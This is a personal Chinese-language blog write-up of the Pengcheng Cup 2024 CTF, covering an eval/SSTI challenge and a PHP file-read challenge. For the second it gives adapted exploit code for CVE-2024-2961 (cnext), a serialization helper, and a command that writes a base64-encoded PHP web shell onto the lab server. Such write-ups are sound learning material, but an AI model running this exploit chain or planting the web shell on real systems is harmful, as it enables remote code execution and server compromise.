鹏城杯2024赛后复盘

鹏城杯好难,累死累活一天也只写出一道(〒︿〒)
等之后仔细学习一下别人的WP,希望能学到更多有用的知识
个人WP
python口算-pcb2024
又是一道小猿搜题的题(果然哪里的CTFer都是一样对热梗毫无抵抗力)
请求/calc
路由可以获取到算式信息,直接利用eval()
函数就能直接计算了
发送正确的计算结果之后,就可以获取到提示,下载网页源码
分析源码,发现有SSTI注入点,不过不确定黑名单与白名单都包含什么,于是根据常规绕过来尝试
最终确定payload
1 | import requests |
读取到flag
====================================这里是分割线======================================
个人感想
其实尝试的好几道题都有思路,但都卡在某些地方无法继续,希望别人的WP能帮我解惑
(๑•́ ω •̀๑)
====================================这里是分割线======================================
WP学习与复现
fileread
这道题本来以为是一个简单的反序列化,结果发现可以利用的只有一个file_get_contents()函数,且无root权限读取不了flag。
我以为是要用到该函数的什么奇技淫巧,没想到是一个CVE(某种意义上确实也算?)
该题用到的是**CVE-2024-2961 **
具体实现原理好像与溢出相关,但这是PWN的内容了,等以后有机会再复现吧(所以还是先贴一个别人的WP吧)
下载这个:https://github.com/ambionics/cnext-exploits
把原先的函数换成这2个
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32 def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
import requests
from urllib.parse import quote
import os
import sys
def get_b64(s):
# execute php 1.php
output = os.popen('php 1.php "' + s + '"').read().strip()
return output
b64 = get_b64(path)
print('[GET]', path)
print()
# print(b64)
r = requests.get('http://192.168.18.24/?ser='+quote(b64))
return r
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
from base64 import b64decode
path = f"php://filter/convert.base64-encode/resource={path}"
r = self.send(path)
text = r.text
find_text = 'Your file:'
idx = text.find(find_text) + len(find_text)
text = text[idx:]
return b64decode(text)PYTHON新建一个1.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class cls1{
var $cls;
var $arr = array('fileput');
}
class cls2{
var $filename;
var $txt = '';
}
$obj = new cls1();
$b = new cls2();
$b->filename = $argv[1];
$obj->cls = $b;
$s= serialize($obj);
echo base64_encode($s) . "\n";PHP运行:
python3 cnext-exploit.py http://192.168.18.24/ “echo PD89YCRfUE9TVFswXWA7Pz4= | base64 -d > shell.php”
- 标题: 鹏城杯2024赛后复盘
- 作者: Wang1r
- 创建于 : 2024-11-09 21:57:11
- 更新于 : 2025-04-07 12:34:26
- 链接: https://wang1rrr.github.io/2024/11/09/鹏城杯2024赛后复盘/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。